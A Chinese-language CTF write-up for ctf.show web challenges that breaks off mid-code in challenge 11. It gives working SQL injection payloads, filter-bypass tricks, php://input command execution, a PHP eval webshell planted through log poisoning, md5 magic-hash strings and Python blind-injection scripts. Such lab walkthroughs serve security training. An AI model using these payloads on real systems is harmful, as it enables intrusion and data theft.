文章目录
- WEB
-
- 无类别
-
- web签到题:源代码+base64
- web2:最普通sql注入
- web3:php伪协议文件包含
- web4:日志写入一句话
- web5:0e开头的md5
- web6:过滤空格sql注入
- web7:整形联合查询sql注入
- web8:整形布尔盲注sql注入
- web9:源码泄露+md5sql注入
- web10:group by with rollup sql注入
- web11:Cookie与SESSION
- web12:php代码执行highlight_file与glob、scandir
- 红包题第二弹:通配符命令执行
- web13:源码泄露+文件上传
- web14:php switch+sql注入+sql读本地文件
- 红包题第六弹:文件md5碰撞(未完成)
- 红包题第七弹:后门利用
- 萌新专属红包题:弱口令+base64
- CTFshow web1:order by顺序爆破flag
- game-gyctf web2:POP链-反序列字符逃逸
- web15 Fishman:XFF头注入(未完成)
- 红包题第九弹:ssrf+gopher协议打mysql
- 红包题 葵花宝典:sql约束攻击
- 红包题 辟邪剑谱(未完成)
- 【nl】难了
- 一切看起来都那么合情合理(未完成)
- 红包题 耗子尾汁:forward_static_call_array代码执行
- 新年好?:js setTimeout时间溢出绕过
- 红包一(未完成)
- Log4j复现:jndi+反弹shell
WEB
无类别
web签到题:源代码+base64
这一关的flag藏在注释中,base64解密即可得到flag
web2:最普通sql注入
SQL注入漏洞,请求方式是POST请求,注入点是单引号字符型注入,flag就藏在当前的数据库的flag表中,使用联合注入获取数据即可
username=admin' or 1=1#&password=123 显示登陆成功存在注入
username=admin' or 1=1 order by 3#&password=123 回显正常
username=admin' or 1=1 order by 4#&password=123 回显异常
username=admin' or 1=1 union select 1,2,3#&password=123 2可以回显在页面上
username=admin' or 1=1 union select 1,database(),3#&password=123 库名为web2
username=admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123 表名为flag和user
username=admin' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#&password=123 flag表存在flag字段
username=admin' or 1=1 union select 1,flag,3 from flag#&password=123 得到flag
web3:php伪协议文件包含
文件包含漏洞,include()函数包含的文件会被执行,使用PHP伪协议配合抓包工具进行命令执行
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/form-data"时,php:/input将会无效
提示了: <?php include($_GET['url']);?>
传参?url=php://input
post参数写入<?php system('ls')?>,就会被include当作php执行了
拿到回显ctf_go_go_go index.php
post参数查看文件<?php system('cat ctf_go_go_go')?>得到flag
php伪协议读文件:php://filter/read=convert.base64-encode/resource=文件名
当enctype="multipart/form-data"时,php://input是无效的。
web4:日志写入一句话
文件包含漏洞,使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;然而这一关伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell
c与上题提示一致:<?php include($_GET['url']);?>
本题可以访问nginx日志:?url=/var/log/nginx/access.log
172.12.0.6 - - [31/Aug/2022:14:01:28 +0000] "GET / HTTP/1.1" 200 715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0"
172.12.0.6 - - [31/Aug/2022:14:01:53 +0000] "GET /?url=index.php HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0"
也就是说如果我们UA带上一句话也会写入日志中,并且因为include函数会强制使用php解析日志
重新抓包在UA中加上一句话:<?php @eval($_POST['a']);?>
然后蚁剑连接:http://05cc7d16-8718-4a15-9c1d-2331578c7921.challenge.ctf.show/?url=/var/log/nginx/access.log,密码为a即可
web5:0e开头的md5
需要传递两个参数,一个字符串,一个数字,并且两个参数的md5值必须相同,我们可以利用md5的0e漏洞进行绕过
0e绕过是指:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;我们只要传入两个md5值是以0e开头的参数,即可绕过md5加密,夺取flag
打开看到源码提示:
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
v1必须是纯字母,v2必须是纯数字,并且v1和v2的md5值要一样
PHP在处理哈希字符串时,它把每一个以"0e"开头的哈希值都解释为0,所以只有v1和v2哈希之后的值都是0e开头,两个等于号的php比较就被绕过了
常见md5后以0e开头的字符串:
QNKCDZO
240610708
byGcY
sonZ7y
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a
s1091221200a
s1885207154a
s1502113478a
s1885207154a
s1836677006a
s155964671a
s1184209335a
s1665632922a
s1502113478a
s1836677006a
s1091221200a
s155964671a
s1502113478a
s155964671a
s1665632922a
s155964671a
s1091221200a
s1836677006a
s1885207154a
s532378020a
s878926199a
s1091221200a
s214587387a
s1502113478a
s1091221200a
s1665632922a
s1885207154a
s1836677006a
s1665632922a
s878926199a
补充:
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' =='1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == '0xABCdef');
web6:过滤空格sql注入
SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过
当输入username=admin' or 1=1#&password=123
时提示sql inject error
,发现时kongge被过滤了
一般有以下几种绕过空格的方法
/**/
()
回车(url编码中的%0a)
换行符(url编码中的%09)
`(tap键上面的按钮)
tap
两个空格
此处我们使用/**/
然后根据web2中的payload,最终payload为:username=admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=123
web7:整形联合查询sql注入
SQL注入漏洞,注入点是数值型注入,源码中过滤了空格,我们可以使用括号()或者注释/**/来代替空格
参考web2和web6
payload:/index.php?id=1/**/or/**/1=1/**/union/**/select/**/1,database(),3#
能联合查询直接搞,也有wp使用布尔盲注:
import requests
s=requests.session()
url='https://46a0f98e-cdc3-413d-b67c-b2dbaeb5c4ec.chall.ctf.show/index.php'
table=""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
web8:整形布尔盲注sql注入
SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字
- 过滤了空格,使用web6方法绕过
- 过滤了and,可以使用or代替
- 过滤了union,可以使用盲注(回显只有true和false)
- 过滤了逗号,使用特殊语法如:
substr(database(),1,1)
——>substr(database() from 1 for 1)
,limit 0,1
——>limit 1 offset 0
id=-1 /**/or /**/1=1 返回全部结果,正确
id=-1/**/or/**/1=2 返回结果为空,错误,没有回显应该是盲注
编写盲注脚本
import requests
url='http://4dbdeaee-1caf-482b-a050-73f670e78d6d.challenge.ctf.show/index.php?id=-3'
payload1=url+"/**/or/**/ascii(substr(database()/**/from/**/{}/**/for/**/1))={}"
payload2=url+"/**/or/**/ascii(substr((select(table_name)from/**/information_schema.tables/**/where/**/table_schema=\"web8\"limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
payload3=url+"/**/or/**/ascii(substr((select(column_name)from/**/information_schema.columns/**/where/**/table_name=\"flag\"limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
payload=url+"/**/or/**/ascii(substr((select(flag)from/**/flag/**/limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
flag=''
str='1234567890abcdefghijklmnopqrstuvwxyz-{}' # 或者使用range(31, 128):
for i in range(200):
for j in str:
res=requests.get(payload.format(i,ord(j)))
if('If' in res.text):
flag=flag+j
print(flag)
if(j=='}'):
break
web9:源码泄露+md5sql注入
SQL注入漏洞, SQL中使用MD5进行加密, 推荐使用MD5加密漏洞绕过
扫到robots.txt,打开看到提示index.phps
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
语法:md5(string,raw)
string 必需。规定要计算的字符串。
raw 可选
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
将密码转换成16进制的hex值以后,再将其转换成字符串后包含'or'xxx
提供一个字符串: ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串: 'or'6<trach>
拼接入sql得到:select * from user where username ='admin' and password =''or'6<trach>'
其中'6<trash>'
以6开头,非0,返回真,or就也返回真,and整个表达式为真
web10:group by with rollup sql注入
SQL注入漏洞, 审计代码可以发现源码中存在漏洞, 推荐使用with rollup注入进行绕过, 此关卡过滤了空格,and等关键字
- 过滤空格, 可以使用括号()或者注释/**/绕过
- 过滤and, 可以使用or来代替
同样index.phps泄露源码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
使用group by
之后,会按指定的列名去重,相同列名只显示其中一行
再加上with rollup
之后,最后会多一行该指定列为NULL的行
若本题输入的密码为NULL,mysqli_fetch_assoc
按行匹配就一定会匹配上rollup多出来的这一行
故本题payload:username为admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#
,password留空即可
web11:Cookie与SESSION
用session中保存的密码进行登录验证, 将 session中保存的密码清空即可绕过
打开看到源码
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace